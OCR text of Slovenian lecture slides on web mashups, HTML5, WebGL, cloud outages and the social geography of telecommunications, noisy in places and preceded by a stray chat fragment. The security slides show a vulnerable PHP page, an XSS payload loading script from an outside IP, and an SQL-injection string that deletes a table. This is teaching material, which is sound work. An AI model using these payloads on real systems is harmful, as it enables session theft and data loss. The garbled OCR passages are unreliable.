You are currently using :‘: [20:23] nosillacast: gosh thanks! (bushes humbly)
Shortcuts: o-open y-archive ¢ 12 /; raymoosehead
13 @ nosillacast@gmail.com -
14
15
16
= Iy accounts

7Y preferences
g3 Meebo me widgets

| testing s onine (1 minute)
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Mashupi
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Kaj je mashup?

Spletna aplikacija, ki zdruzuje podatke iz ve€ virov
m primer

m prikaz lokacij na zemljevidu
= uporaba kartografskih podatkov storitve Google Maps

m za vse rabljene avtomobile, ki ustrezajo dolo¢eni poizvedbi
m preko poizvedbe na eBayu

Podatki se lahko nahajajo kjerkoli
m razliéni ponudniki
m podatke ponujajo preko ustreznih API-jev

Orodja za izdelavo mashupov
m Yahoo! Pipes, Google Mashup Editor, MS Popfly

Zdruzevanje podatkov se lahko vrsi na strezniku ali v
spletnem brskalniku
m server-side oz. client-side mashupi

www.ltfe.org, Laboratorij za telekomunikacije 28/ 66
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Primer: eBay + Google Maps

= http://www.dudewheresmyusedcar.com/

eBay Motors & Google Maps

¥Yehicle Make
I Porsche

Model

) [on

Within

o] {25

ZIP Code

[:” Miles of 94087

eatusstatasniotsies s cisessatasusstatatid

¥ ] Distance

> \
=gy :’ Day;Vﬂ"@V \ \

"5 Capibla 1 ’ | r'
Watqqrgvnlle

Pajaro
Monterey.
Bay,

[~ Prunsdale

~®San Juan Holmer
¥ |, Bautista -

- mflglgAtlas Terms of Use

Porsche Carrera COu

$16,100 Time Left: 3d 22h 32m
Year: 1989 Mileage: 131,000
Distance: 5 miles

- =

{11}

Year 1994 Mlleage 18,416
Distance: 5 miles

Year: 2006 Mileage: 3,460
Distance: 10 miles

a Porsche : 911 Targa 1984

C R
**¥ONLY S8k MILES* *
$16,000 Time Left: 2d 13h Om
Year: 1984 Mileage: 58,000
Distance: 15 miles

A

Porsche : 911 1997 Turbo

Navurskha ANT Toda Tawkas ol

(]

[
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Dogajanje za kulisami (1/2)

= Nalozi se 28
Javascript
datotek

I
*‘u‘ Inspect  Clear §|A|||HTML (S5 |S XHR Images Flash

Console HTML [css] Script DOM | Net

[# www.dudewheresmyududewheresmyusedcar.com 20 KB
[# dude.css dudewheresmyusedcar.com 3 KB
[+ search.css dudewheresmyusedcar.com 569b
[+ dojo.js dudewheresmyusedcar.com 130 KB
[+ maps maps.google.com 4 KB
[+ main.js maps.google.com 76 KB

transparent.png maps.google.com 95 b
[+ search.js dudewherssmyusedcar.com 15 KE
[+ __package__.js dudewherssmyusedcar.com 645 b
[+ Parse.js dudewheresmyusedcar.com 7 KB
[+ Widgetjs dudewherssmyusedcar.com 19 KE
[+ declare.js dudewherssmyusedcar.com G KE
[ Manager.js dudewheresmyusedcar.com 9 KE
[+ Parse.js dudewheresmyusedcar.com 11 KE
¥ DomWidgetjs dudewherssmyusedcar.com ZOKE
[+ __package__.js dudewherssmyusedcar.com 363 b
[+ HtmlIWidgetjs dudewherssmyusedcar.com S KB
[# extras.js dudewheresmyusedcar.com 13 KB
[+ toggle.js dudewheresmyusedcar.com 2 KB
[+ SlideShow.js dudewheresmyusedcar.com 4 KB
[+ ContentPane.js dudewheresmyusedcar.com 582 b
[+ ContentPane.js dudewheresmyusedcar.com 18 KB
# __package__.js dudewheresmyusedcar.com 476 b
# cookiejs dudewheresmyusedcar.com 4 KB
[# LayoutContainer.js dudewheresmyusedcar.com 3 KB
# layout.js dudewheresmyusedcar.com S KB
# urchin.js google-analytics.com 7 KB
[ __utm.gif google-analytics.com 35b
# logo_image.gif dudewheresmyusedcar.com 2 KB
# logo_title.gif dudewheresmyusedcar.com 2 KB
[# button_search.gif  dudewheresmyusedcar.com 2 KB
[# show_ads.js pagead2.googlesyndication.com 7 KB
[+ ads pagead2.googlesyndication.com 3 KB
[# checkout_000000.9if pagead2 googlesyndication.com 70 b
[+ graphics.js pagead2.googlesyndication.com 2 KB
[+ smad.js pagead2.googlesyndication.com 3 KE
[# abg-en-100c-00000pagead2 googlesyndication.com 2 KB
[+ sma.png pagead2.googlesyndication.com 728 b
[+ poweredby.png maps.google.com 4 KB
[# transparent.png maps.google.com 95 b
[+ mapcontrols2.png  maps.google.com 4 KB
[+ openhand.cur maps.google.com 326 b

[
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Dogajanje za kulisami (2/2)

= Ko uporabnik naredu poizvedbo, stran kontaktira eBay API

<El v ¥ @‘J /t_l} I} http:n‘www.dudewheresmyusedcar.comiserver.hl:ml?action=search&CategoryID%5BO%Ei " P! i': ‘&\|

|_| Dude, Where's My Used Car?: Find th... | ‘ || http://www.dud...talCode=95125& [J |

]l

STRONG--NO RESERVE! 15,"195,857","1996",9,"1,325","4d 14h

52m","http:Wihumbs. ebay. comUPIETU320191044868 jpg", "http Ve gl ehaytagebaymotorsVBMW-3-Series-CONVERTIBLE-1996-BMW-318)
. 3-Series 4 dr sedan 2000 BMW 32314 dr clean title No Accidents! 5,"140,000","2000",0,"8,500","5d 13h

23m" "http WVWthumbs.ebay. comWpicty330195888728 jpg", "http WWeg B/ ebaymotorsVBMW -3-Series-4-dr-sedan-2000-BMW-3231-4-dr-
: 3-Series 325 xi 2002 BMW 325z (E46) AWD Sedan in Steel Blue @ ,"61,500","2002",0,"17,555","1d 14h

54m","http VVthumbs. ebay. comVpicty220179417894 jpg", "http \)egremaytom\ebaymotorsVBIMW-3-Series-325-x1-2002-BMW-325:1-E46-AW
: 3-Series 1987 BMW 3251 €30 sedan 5 speed, 325is 325 m3/ b,"'104,070","1987",1,"1,500","1d 22h

34m","hitp VWthumbs. ebay. comVipicty250194522577 jpg","http: VUEET ebay. com\Vebaymot g m W - 3-Series- 1987 -BMW-3251-e30-sedan-5-spe
: 3-Series 328C1 BMW 328Ci SUPERCHARGED Show Car: Hamann, Brembo, DPE} 0,"62,000","2000",1,"20,000","1d 16h

9m" "img\ino_image. gif","http \VWegl ebay. comVebaymotorsWBIMW-3-Seres- 328 CiolinlP=S2:8T {-SUPERCHARGED-Show-Car-Hamann-Bremb|
: 3-Series 3301 Sdn RWD 2004 BMW 3-SERIES 3301 Sdn RWD Low Miles'f94538'J20,"22,443","2004",1,"10,000"," 14h

£3

data = [["320191044868","- 12 L098E04" "37.279015","BMW : 3-Series CONVERTIBLE 1996 BMW 318 CONVERTIBLE----DRIVES
‘)95008'

= eBay vrne podatke s postnimi stevilkami prodajalcev

= stran nato povprasa Google Maps API kje se nahajajo
dobljene postne stevilke
m ter prikaze bucike na zemljevidu

——

www.Itfe.org, Laboratorij za telekomunikacije 31 /66




Analogija

= Web kot operacijski sistem

m operacijski sistem zagotavlja razli€ne vire (resurse)
m networking, grafika, hramba podatkov, posiljanje sporocil

m storitve razli€nih ponudnikov so viri

m zemljevidi, katalog slik, videoposnetkov, disk

e N ’

QL o)) o @
&S |w = o |9

= g |a &8 | ot

-1 o | | D|= g 9 |la |E
— = |la|® 3 | E|l® | =
A = | ® | o o |l |[= | =
L |c|o|lG|n |E|E|c|x

AR
o -—835
4 (z|5|8|E|8|2|s]¢
o (5(8(s(3[8|E|8|%
< [S|E|(2(&|E|S|E|&
0S Internet

Vir: http://blogs.zdnet.com/BTL/?p=2484

——,
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| Spletne storitve, uporabne za mashupe

Google maps http://www.programmableweb.com/matrix
Amazon S3 (shranjevanje podatkov) sy et A P e
Amazon EC2 (virtualni serverji) : CHE
Flickr

Google Calendar

Youtube

eBay

Twitter,

Alexa,

Amazon ——

22222

Zoom

ProgrammableWeb belezi APlje ~2000 razli€nih storitev
(iz njih je narejeno ~4800 mashupov)

Primeri:
m TwitterVision (prikaz Twitter sporocil na karti)
m FlickrSudoku (sudoku ki uporablja slike s flickrja)
m Wii Seeker (iskanje trgovcev z Wii)

——
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Cross-site scripting

= XSS

= Nalaganje JS datotek z drugih streznikov
m stalna praksa pri razliénih storitvah
m Google Adsense, Google Analytics, StatCounter

m JS, ki se izvaja na strani

m lahko bere cookie-je
m kraja piSkotka lahko omogo¢i login v poljubno storitev

m spreminja vsebino strani

= Nalaganje JS datoteke
m mogoce doseci z oblikovanjem URL-ja
m primer ranljive strani: <?

if (isset (S _REQUEST["ime"]))
{

echo "Pozdravljen, " . S REQUEST["ime"];
}

else

{

echo "Pozdravlijen, neznanec!";

}
?>

——
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Cross-site scripting (2)

= Predvideno delovanje
m http://tweb.ltfe.org/urban/xssdemo/index.php

Wind

|« | » ||| @ nitp://tweb.itfe.org/urban /xssds - b

Pozdravljen, neznanec!

m http://tweb.ltfe.org/urban/xssdemo/index.php?ime=Urban

&k | 3 http: / /tweb.Itfe_org/urban /xssds - %

Pozdravljen, Urban

——,
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| Cross-site scripting (3)

= Nepredvideno delovanje

m kot ime vstavimo <img src="http://www.google.com/intl/en_ALL/images/logo.gif’>

m http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cimg%?20src="http://www.google.com/in
tl/len ALL/images/loqo.qif'%3E

http /[ tweb. hfe c:lrgful*l'.|ar'|.,‘)vssdernl:)jI om;‘lntl!en_ALLflrnages,’logo gif%3E (][Ol [x]

Og[e

Pozdravljen,

m vstavimo lahko tudi JavaScript spremenimo stran!
m obiskovanje strani prek linkov v mailih je lahko nevarno!

m VStavimo <script type="text/javascript'src="http://212.235.185.124/xss_demo/script.js"></script>

m http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cscript%20type%3D%27text%2Fjavas
cript%27src%3D%27http%3A%2F%2F212.235.185.124%2Fxss demo%2Fscript.js%27%3E

%3C%2Fscript%3E
x

/. Ahal Pa sem te!

‘i\‘
Co )
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| SQL injection

= V vnosna polja vpisemo niz, ki zaklju€i SQL stavek
= Slabo napisane aplikacije tega ne filtrirajo

Username: Jurban Select * from users

Password: [ where username = 'urban’

_Submit | and password = '12345'

Username: I'; delete * from users; -- Select * from users

Password: [ where username ="; delete * from users;
Submit | --'and password ='12345'

= V najslabsem primeru je mogoce pobrisati vsebino celotne
baze
m slabo nastavljene pravice, slabo napisana aplikacija
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HTMLS

Naslednja razlicica formata HTML
Podpora videu <video src=... />
Shranjevanje podatkov v brskalniku (local storage)
Web workers
Web sockets
m nadgradi HTTP povezavo v full duplex
m streznik lahko poslje podatke brskalniku po ze vzpostavljeni povezavi
m Geolokacija
m JS API za lociranje
m Canvas
m risanje z JS;
= 2D in 3D (WebGL)
m CSS3

m Font face: podpora poljubnim fontom
m Prosojnost, rotiranje elementov
m Zaobljeni robovi, gradienti, sence

m http://apirocks.com/htmI5/htmi5.htmi#slide1
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{ HTMLS vs. Flash

Povod: naprave brez podpore flashu (iPhone, iPad)

HTMLS5 podpira vec€ino funkcionalnosti
m Video, fonti, povratna povezava

m Slideshare najavil popolno migracijo na HTML5
(vse prosojnice so indeksirane, mogoce je iskanje po tekstu)

Podpora HTML5

m Google Chrome
m MS IE s Chrome Frame

Trenutne prednosti Flasha

m Dostop do kamere in mikrofona (http://chatroulette.com)

m peer to peer komunikacija

m Predvajanje videa z DRM (tega v HTMLS5 najbrz ne bo nikoli)
Flash ne bo izginil

m Visoka penetracija pomeni, da bo ostal Se leta
m Primerjava: IE6

= Ce Flash umre, od koga bo kopiral HTML6?
[
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Zmogljivost HTML5S

Port Quake Il v JavaScript

m uporaba WebGL, HTML5 canvas, HTMLS5 audio in Websockets,
HTMLS local storage

m online multiplayer, 60fps, te€e v Chrome in Safariju (Webkit)

amnn CWT Quake !l

| 4[ > M 4+ [[Bnp //quake2-gwt-port.appspot.com/ ¢ HQr
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OpenGL

Kaj je OpenGL
m Open graphics library
m definira standardne vmesnike za izdelavo 2D in 3D aplikacij
m Cez 250 razliénih metod, ki so podprte tudi v GPU-jih
m primeren za visokoperformanéne aplikacije (igre, vizualizacije)

OpenGL ES 2.0 (embedded systems)
m podprt podmnozica polne OpenGL specifikacije
m Sodobni brskalniki (Chrome, Firefox, Safari)
m iOS in Android

Prednosti
m standardiziran > GPU podpora = visoke performance
m napisi enkrat, poganjaj povsod (brskalnik, iPhone, Android, exe)

——
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| Ideja OpenGL

= Lastni podatkovni tipi
m neodvisni od platforme (16/32/64bit)
m GLint, GLfloat, ipd. namesto int, float

= Predpostavlja 3D koordinaten sistem
m Vv hjem definiramo tocke (x,y,z)

ﬂk Q Y.z}
<« 4 G
GLfloat vertex[3]; Origin
vertex[@] = 10.0; // X +Z
vertex[1] = 23.75; /0y
vertex[Z2] = -12.532; /rz p

www.ltfe.org, Laboratorij za telekomunikacije
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i OpenGL: za obcutek

= Poligoni

= Na definirane tocke napnemo poligon (tj., trikotnik)
m nic¢ drugega kot trojica to€k

GLfloat triangle[] = {0.0, 1.0, -3.0, 1.0, 0.0, -3.0, -1.0, 0.0, -3.0};

= Poligon nalozimo v spomin grafi€nega procesorja
m uporabimo standardizirane OpenGL metode (prefix gl)
m resetiranje scene
m glLoadldentity();
m nastavimo tip
m nastavimo barvo
m glColor4f(1.0, 0.0, 0.0, 1.0);
= nalozimo koordinate
m glVertexPointer(3, GL_FLOAT, 0, &triangle);

——
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' Primer WebGL: Google WebGL Globe

http://data-arts.appspot.com/qglobe-search

Google Search Volume by Language

Thisis a
Chrome
Experlment The WebGL Globe is an open platform for visualizing geographic data Get the code By the Google Data Arts Team
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| Primer: Angry Birds

= http://chrome.angrybirds.com/
= Prvotno razvito za iPhone / Android
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| Mobilne spletne aplikacije

Na vecini pametnih mobilnih telefonov danes tece sodoben

spletni brskalnik
m WebkKkit

Mogo¢ razvoj bogatih aplikacij na osnovi spletnih

tehnologij
m razsiritev za jQuery — jQtouch
m bogate animacije in prehodi
m simulacija nativhe mobilne aplikacije
m http://jatouch.com/
m Sencha Touch
m vti€niki za Wordpress in druge CMS platforme
m WPtouch: vtiénik, ki Wordpress blog preoblikuje
v mobilno stran
Vedno vec¢ API-jev za funkcionalnosti telefona,

senzorje, ipd.

A

——
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Primer: geolokacija

= JS vprasa brskalnik
m brskalnik vprasa OS
m OS odgovoi brskalniku
m brskalnik odgovori JS s klicom callback procedure
1 |<secript language="javascript">
2 function displayPesition(position) {
ET alert(position.coords.latitude + " " + position.coords.longitude);
4 ¥
5
6 function displayErreor(positionError) {
?T alert("error")
8 ¥
9
1@ gl = navigator.geolocation;
11 if (gl) {
12 gl.getCurrentPosition(displayPosition, displayError);
13 T else {
14 alert("I'm sorry, but geoclocation services are not supported by your browser.");
15 }
16 |</script>

——
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Primer: geolokacija

1 E=rrarc
O CITOrs

“http://tweb.ltfe.org” Would http://tweb.ltfe.org
Like To Use Your Current 46.04420678166667

Location 14.488357221666668

ﬁwﬂ
OK

Don’t Allow OK

——,
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Pogled naprej

Web 1.0

m staticne HTML strani, ve¢inoma besedilo

Web 2.0

m Dinami€ne spletne strani, AJAX (osvezevanje v ozadju)
m Fokus na odprtih API-jih (= komunikacija med aplikacijami)
m Fokus na uporabniski prijaznosti

Web 3.0 (Semantic Web)

m semanti€no oznacevanje vsebine, mikroformati
(<cena>100EUR</cena>)

m problem s standardizacijo in uvajanjem (veliko nevzdrzevanih vsebin)

m Vse vecéji pomen “semantiénih proksi streznikov”
m organizacija in “semantizacija” obstojecih informacij
m Wolfram Alpha, Google, niSni proksiji z API-ji
m Web 3.0 mini dokumentarec http://vimeo.com/11529540

——
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| Uporabniska prijaznost je kljuc¢

Primer: podjetji Mint in Yodlee

m analiza banc¢nih izpiskov (podobno kot slovenski Toshl)

Yodlee
m razvili dober backend
m 200 zaposlenih; 116 milijonov $ investicije; propadli
Mint
m razvili dober frontend (prijazen vmesnik)
m preprost backend v oblaku

m 35 zaposlenih;
35 milijonov $ investicije;
zmagovalci

Pomembno pravilo
m bodi sam svoj uporabnik

m “eat your own dog food”
(Paul Newman’s dog food->)




Vsebinsko-naravnana omrezja

Content-Centric Networking

Alternativen pristop k omrezni arhitekturi

m omrezja tradicionalno temeljijo na komunikaciji tocka-to€ka (konverzacija)
m podobno kot telefonija
m zadnjo novico s poptv.si streznik loéeno postreze 50.000 uporabnikom

m uporaba danasnjih omrezij pove€ini v modelu to¢ka-vec¢ to¢k (diseminacija)
m streznik bi lahko novico postregel samo enkrat
m “vsebinsko naravnan multicast”

m Vizija prihodnosti iz Palo Alto Research Centra (Nelson, Jacobson)

Vsebina (podatki) so kljucni
m  Omrezje in omrezna lokacija (naslov)
sta irelevantna (Cisti “bitpipe”)
m “omrezje” je vse kar prenasa bite
(mreza, disketa, CD po posti)

m lzvor, in ne kanal, mora zagotavljati
vse vidike varnosti

4 ramy Networking was invented

— : :
e in this world

N

It was about sharing resources,
not data.




| Lifestreaming

= Shranjevanje podatkov o vseh aspektih zivljenja
m elektronska sled, ki jo vsak dan puséamo za seboj
m idealna za data mining (koledarji, komunikacija, lokacija, zivljenjske
funkcije)
= Stevilne aplikacije
m belezenje prehojenih kilometrov
m ustvarjanje potopisov (geotagging slik)
m kontekstualno prilagajanje aplikacij in storitev
m npr. utiSanje telefona na sestanku

= Personal metrics

m FitBit
m Belezenje gibanja (pedometer) ﬁtness & Sleep
in kvalitete spanja , Ei-f”iif ,i!f Z’.‘;‘.i”i

Am | getting good res

m Avtomatsko nalaganje na site
LEARN MORE »

| PURCHASE %99
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BodyTrack chest strap:
EKG, respiration, accelerometry;
stress, cough/sneeze, snoring

BodyTrack Indoor

Environmental station:
Temp, humidity, barometric, sound
. levels, light levels;
quahty Sleep hygiene, air quality (with
external sensor), charger and data
gateway for chest strap

Indoor air

Body Track
VVebsite

Pictures, GPS location, activity;
food, events, self-reporting

Actigraphy:
Activity and energy levels

Phone:

0

Sleep logging

Regional air quality:
Particulates, other pollutants,
pollen, mold

——

www.Itfe.org, Laboratorij za telekomunikacije 57 /66 )




i Augmented reality

= lzboljsava realnega sveta i
. King’s Cross
S prlkazom pOdatkOV 290 km / 1.80 miles

earest for Also on
~ Victoria Circle

na zaslonu (overlay) T

Metropolitan

m GPS + kompas + fotoaparat Pty

Northern

Barbican
0.61 km / 0.37 miles

Nearest for Also on
Metopotran [ M

= iPhone in Android aplikacije —
. Paul’'s
m ter Augmented SDK za razvijalce I S ‘

= Prototip Sixth Sense
m LED projektor + terminal
m projekcija informacij v okolje
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| Zajem informacij iz okolja

o

Vizualen zajem informacij
m QR kode, Datamatrix

m Microsoft Tag

m LED (Bokode)
m out-of-focus fotografija

m Prepoznavanje objektov na sliki
m Google Goggles

Google goggles s (=]

NFC/RFID

= Visokofrekvenéna komunikacija na k# o li 4.@!
m Detekcija unikatne kode “NFC taga” s citalcem
m Aplikacije: emulacija kartic, pla¢ila, pametni poster;ji
m Trenutna podpora: izbrani modeli Nokie, Samsunga

——
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@3

intuitive
Piloting

= Augmented reality igre na njegovi osnovi

m s helikopterjem unicujes
navidezne sovraznike . . Position the 3D tags in your home

. ? . or outside to generate virtual
enemies and obstacles in
. . . augmented reality!

MARQUEURS 3D

= http://ardrone.parrot.com/parrot-ar-drone/en

( www.Itfe.org, Laboratorij za telekomunikacije 60 /66 )
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| Podatki v oblaku in hibridne platforme

Google mail, Docs, Facebook, Twitter, Office Live

Google Chrome OS

m operacijski sistem, ki je brskalnik
ZumoDrive

m omrezni disk, dostopen z razliénih platform (PC, Mac, Linux, iPhone)
Hibridne platforme: Evernote, Dropbox, iCloud

m Podatki pri uporabniku IN v oblaku
m Sinhronizacija
Kljuéni pomisleki
m Relativno visoka latenca
m Obremenitev omrezja
m Zasebnost podatkov?

——
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i Komunikacija z oblakom

= Se vedno ozko grlo

= Tipicen primer domacega uporabnika
= 100GB podatkov
m Varnostne kopije (backup) v oblaku

m Dostop do interneta: 1Mbps uplink
m - ¢as za prenos: 222 ur (9 dni)

= Tipi¢en primer poslovnega uporabnika
m 1TB podatkov

m dostop do interneta: 100 Mbps uplink
a Cas za prenos: 22 ur

www.ltfe.org, Laboratorij za telekomunikacije
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| Ko imamo sSe ve¢ podatkov...

Big-data scenarij

= 1 PB podatkov (1000 TB)
m Gbps povezava do oblaka
m 2222h (92 dni) 2 neuporabno!

Zanimiva ponudba Amazona
m AWS Import/Export
= Posljemo fiziéne diske ($80/disk)

m Presnamejo na S3 amaZDn

m Slogan: “Ne podcenjujete pasovne Sirine “Ebmiﬂﬂﬂ"'

——
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| Nevarnosti oblaka (1)

= lzguba podatkov

m Google
m Februar 2011
m lzguba mailov 50.000 uporabnikov
m Restore s traku
= Amazon
m April 2011
m Trajna izguba podatkov

= Tudi ponudnik potrebuje varnostne kopije!

——
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| Nevarnosti oblaka (2)

= Zasebnost podatkov

m Dropbox
m Preprosta storitev za shranjevanje datotek
v oblaku in sinhronzacijo med ra€unalniki
m Dropbox fiasko
= Junij 2011
m 25 MIO uporabnikov
m Vsi racuni dostopni brez passworda

m Datoteke shranjene brez enkripcije
(zaradi deduplikacije)

m Zanesemo se lahko le na
lastno enkripcijo

www.ltfe.org, Laboratorij za telekomunikacije
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| Nevarnosti oblaka (3)

Zanesljivost storitve

m Odpoved Amazona, amazon.

m Amazon 1 teden brez razlage
m Brez vsakrSnega supporta
m Trajna izguba podatkov
m Odpoved Vmware Cloud Foundry
= VMware med odpovedjo nudil omejen support in status update

SLA?

m Pri magnitudi sodobnih ponudnikov je uporabnik pogosto le Stevilka.

——
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| Primer: Amazonova neodzivnost

Life of our patients is at stake - | am desperately asking you to contact & Reply

nete
LB
nete
LB

ted by: md76040303317
ted on: Apr 22, 2011 11:20 PM

7 This question is answered. Helpful answers available: 2. Correct answers available: 1.

¥

Sorry, I could not get through in any other way

We are a monitoring company and are monitoring hundreds of cardiac patients at home.

We were unable to see their ECG signals since 21st of April

Could you please contact us?
Our account number is: 9252-9100-7360
Our servers IDs:

I-bb5cOfdO
I-8e6163e5
1-6589720f

Or please let me know how can I contact you more ditectly.
Thank you

Replies: 34 | Pages: ? - Last Post: May 4, 2011 10:12 AM by: hyperstratuzaws

——
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s Kazejo, da se uporabniki vse bolj zanasamo na oblak

= Padlo je na stotine startupov (Reddit, Foursquare, ...)
m brez zadostne redundance
m vsi strezniki gostovali

v isti coni
A, GOI"I'[iI"rUElll‘;.I" improwng collection
created, edited, and organized by

Amazon is currently experiencing a
degradation. They are working on it. We We're currently having an unexpected outage, a

are still waiting on them to get to our site back up as soon as possible. Thanks for ye
volumes. Sorry.

Service Unavailable

Wie encountered an emor on your last request. Our senice is new, and w
apologize for the inconvenience.

{ www.Itfe.org, Laboratorij za telekomunikacije
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Kljucne lekcije prezivelih N ETELK

= Pametni racunajo z moznostjo odpovedi

= Netflix

m Chaos Monkey

m “The Chaos Monkey’s job is to randomly
kill instances and services within
our architecture.”

m Netflixa ni na seznamu prizadetih podjetij
= SmugMug
m Photo sharing (petabaijti slik)

m uporabljali ve€é Amazonovih con (niso odpovedale vse)

m “Build for failure. Each component (EC2 instance, etc) should be able to
die without affecting the whole system as much as possible. ”

——
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GEOGRAFSKI VIDIKI
TELEKOMUNIKACIJ

”Od mamutov do interneta stvari”

mag. Andrej Gregorc

21.12. 2011




DELITEV GEOGRAFIJE
REGIONALNA IN OBCA, KI SE DELI NA

FIZICNO IN DRUZBENO

« klimatogeografija e Qeo. prebivalstva
« pedogeografija « politicna geo.

- geomorfologija - ekonomska geo.
- hidrogeografija e Qeo. turizma

- biogeografija « urbana geo.

« meteorologija « @geo. naselij

« Qeologija e Qeo. prometa

« matematiéna geografija (TELEKOMUNIKACIJE)

GEOGRAFIJA IN TELEKOMUNIKACIJE
« pokrajina
« kulturna pokrajina

« druzba in druzbeni procesi




KULTURNA POKRAJINA

socialna geografija

kult. pokrajina = narava x ¢lovek / ¢as

Sauer, 1926 : kult. pokrajino oblikujejo sloji Clovekovega
delovanja

Ruppert : na izgled kult. pokrajine vplivajo dostop do
informacij in vrednotenje informacij

TEMELJNA GEOGRAFSKA VPRASANJA
o KJE?
« KAKQO?
« KDO / KAJ?

« KDAJ?




KOPER, 1.12.2003

Bomba zasejala
strah med Koprcane

Pred lokalom Adantida je moikema
v roki eksplodirala bomba in ga ubila

or - »Bhilk sva na kavl in ko svu odhajali iz lokala, sva
.J‘u misdenita, Crnnlas, 2 pdeiastin anvijatkim dabom
kg vatu. K bili jih,
J¢ 72 hama silovito podila, Kar  rrak kaju je vrglo n zask.
iali va obupen krik. ¥ strahu sva se samo objs -
o po rhqi bombe i va pretresena pripovedevala
Mibjka Clandia Gersuan, i e s béctfo Edit i videts
Hivega festindvajsefiiicga B iz Salare pri
Kopru. Boko je bil véeraj briev. b-me. u nm je ngln
la v rakl (v
i lokal Atlantida v £elenem parkn,
Refevala, ki s

FRANKLIN DELANO ROOSEVELT




STOPNJE V RAZVOJU CLOVESKE
DRUZBE

« divjaska (praskupnost)

« predindustrijska (agrarna)
« industrijska

« postindustrijska (okoljska)
« informacijska

« druzba znanja

« druZba modrosti (20507?)

KDAJ INFORMACIJSKA DRUZBA?

Brian Berry, ameriski socialni geograf, 1975 :

- Zelja po prebivanju v neokrnjeni naravi
(suburbanizacija)

- teZznja po ohranjanju in Sirjenju svobode izrazanja
(demokrati¢énost)

- svoboda gibanja in lajSanje socialnih stikov
(komunikacija)

- ohranjanje zasebnosti in priznavanje pravic
posameznika (individualizacija)

- ustvarjanje, dojemanje in lastnistvo tehnoloskih
inovacij (patenti)

- Zelja po uspehu v druzbi (hierarhi¢nost)




SPREMENJENA LOGIKA DRUZBENEGA
RAVNANJA IN UKREPANJA?

Masahiro Manyama leta 1975 o logiki
industrijske ter informacijske
druzbe (The Postindustrial Logic,
The Next 25 Years — Crisis and
Opportunity) :

INDUSTRIJSKA INFORMACIJSKA

« Neukalupljenost,

Teznja po standardizaciji individualnost

) Oblik o h i « Heterogenost, pestrost
ikovan mogenosti o

* ovanje homogenost « Sodelovanije, timsko delo

« Tekmovalnost, vzpenjanie | poyezovanie, irjenje

« Piramidalna hierarhiénost odgovornosti

« Teznja po obviadovanju « Harmonija z naravo,
narave sonaravnost

« Materializem, hedonizem « Cenjenost narave, kulture

in dediS¢ine

« Ucinkovitost, tekogi trak
« Razmisljanje po sklopih,
specializacija

« Filozofija, vizija, ideja

« Uveljavljanje logike,
postavljanje prioritet,
vrednot




DELITEV GOSPODARSTVA PO
SEKTORJIH

« Primarni (kmetijstvo)
« Sekundarni (industrija in rudarstvo)

o lercirani (storitve, tudi
telekomunikacijske)

« Kvartarni (zdravstvo, Solstvo, kultura...)
« Kvintalni (upravljanje)

KAZALCI RAZVITOSTI INDUSTRIJSKIH
IN POSTINDUSTRIJSKIH DRUZB

§t. prebivalcev na zdravnika

St. prebivalcev na bolnisko posteljo
t. prebivalcev na avtomobil

8t. prebivalcev na radijski sprejemnik
8t. prebivalcev na TV sprejemnik

8t. prebivalcev na telefonski prikljucek
pismenost

bruto nacionalni proizvod na prebivalca
(BNP)




KAZALCI RAZVITOSTI _
INFORMACIJSKIH DRUZB

« delez gospodinjstev z raCunalnikom

delez gospodinjstev z dostopom do interneta

[ J
« delez uporabnikov interneta
« delez uporabnikov in imetnikov mobilnih
telefonov
A4 . . ”
« delez “elektronsko pismenih
- mocan terciarni sektor gospodarstva
10 kandidatk 15 Zlanic Kandidatke, najved . najmany
o eakovana Hvijenjska doba motkih KO [l AR TE  Estonijo 64,7
F\:ll(;?iilf:)wana Zivljenjska doba Zensk 78.1 81.4 Malta 80,8  Madzarska 75,7
BURN (o 1000 refoes 7.1 46 Latvija 11 Ceska d
ﬁfﬁé&ié‘éo ljudi) 324 375 Litva 379 Slovenija 215
Prebivalci z visoko izobrazbo s
(% med 25 in 64 leti) 12,7 21,6 Estonija 29,4 Slovaska 10,7
E::\;t?(%oljbl.:gil 29 47 Malta 49 Slovatka 24
?r:ao ?‘illgiljﬁﬁfoni 38 - 72 slovenija 76 Poljska 25
100 oty e 11 30 Slovenija 28 Litva 7
@ '(-r:g:;?t? Eétlin[ntemm cd3 31 Estonija 30 Latvija 7
T pgenbeaia 394 534 Ciper 679 Litva 294

(kg na oseba)

BELS Vi Eurostat, Reuters




KAZALCI RAZVITOSTI DRUZBE
ZNANJA

« stopnja digitalizacije Solstva, drzavne
uprave ... = e-drzava

« indeks ¢lovekovega razvoja (zdravje,
izobrazba, dohodek, sploSna blaginja)

« inovativna sposobnost druzbe

TOP INNOVATIONS

1. The internet

2. Cell phone

3. Personal computers

4 Fiber optics

5. E-mail

6. Commercialized GPS

7. Portable computers

8. Memaory storage discs

9. Consumer level digital camera
10. Radio frequency 1D tags
11. MEMS

12, DA fingerprinting
13. Air bags

14 ATM

15 Advanced batteries

16. Hybrid car

17. OLEDs

18 Display panels

19. HOTV

20. Space shuttle

21, Manotechnology

22, Flash memaory

23 voice mail

24. Modern hearing aids
25 Bhort Range, High Freguency

Radio




UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« Zmanj$anje uporabe stacionarne telefonije in njenih
storitev (teleks, telefaks, telegram...) ter pos$tnih
storitev

UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« ZmanjSanje uporabe javne stacionarne telefonije
(56-kratno zmanjSanje Stevila pogovorov iz javnih
telefonskih govorilnic v Sloveniji med 1995 in 2000)







UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

ZmanjSanje migracij

Povecanje gospodarske ucinkovitosti druzbe

ZmanjSanje okoljskih emisij (ICT kot alternativno
gorivo)

Brezpapirno poslovanje

UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« Sprememba lokacijskih dejavnikov razmestitve industrije
in storitvenih dejavnosti

VCASIH:

surovina, energetski vir, dostopnost, blizina prometnic,
delovna sila, trg

DANES:
cena lokacije, povezanost v telekomunikacijski sistem




UCINKI IN POSLEDICE SODOBNIH
TELEKOMUNIKACIJ V DRUZBI

« Psiholosko — socioloski in vedenjski vplivi

“Mobile phones could be filling a gap in
the growing-up process that has
sometimes been taken by smoking.”

William MacNee, profesor dihalne in okoljske medicine
na Univerzi v Edinburghu.




“Drugi vzrok je spremenjen nacin Zivljenja.
Véasih smo se cele dneve podili naokoli, danes
